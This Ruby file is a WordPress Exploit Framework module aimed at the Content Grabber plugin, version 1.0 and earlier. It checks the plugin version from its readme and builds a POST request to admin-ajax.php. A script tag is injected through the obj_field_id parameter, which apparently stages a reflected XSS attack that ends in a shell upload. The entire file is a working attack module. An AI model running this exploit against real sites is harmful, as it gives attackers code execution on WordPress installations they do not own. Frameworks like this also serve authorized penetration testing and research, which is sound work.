# frozen_string_literal: true

class Wpxf::Exploit::ContentGrabberReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Content Grabber <= 1.0 Reflected XSS Shell Upload',
      author: [
        'Morten Nørtoft',                     # Discovery and disclosure
        'Kenneth Jepsen',                     # Discovery and disclosure
        'Mikkel Vej',                         # Discovery and disclosure
        'phyushin <phyushin[at]phyubox.com>'  # WPXF module
      ],
      references: [
        ['WPVDB', '8134'],
        ['URL', 'https://packetstormsecurity.com/files/132910/']
      ],
      date: 'Jun 14 2015'
    )
  end

  def check
    check_plugin_version_from_readme('content-grabber')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin-ajax.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'action'          => 'get_terms_taxonomies',
      'post_type'       => 'post',
      'obj_field_name'  => Utility::Text.rand_alpha(10),
      'obj_field_id'    => "widget-cg_content_grabber-3-cat_id\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
      'cat_id_array'    => '[\"1\"]'
    )
  end
end
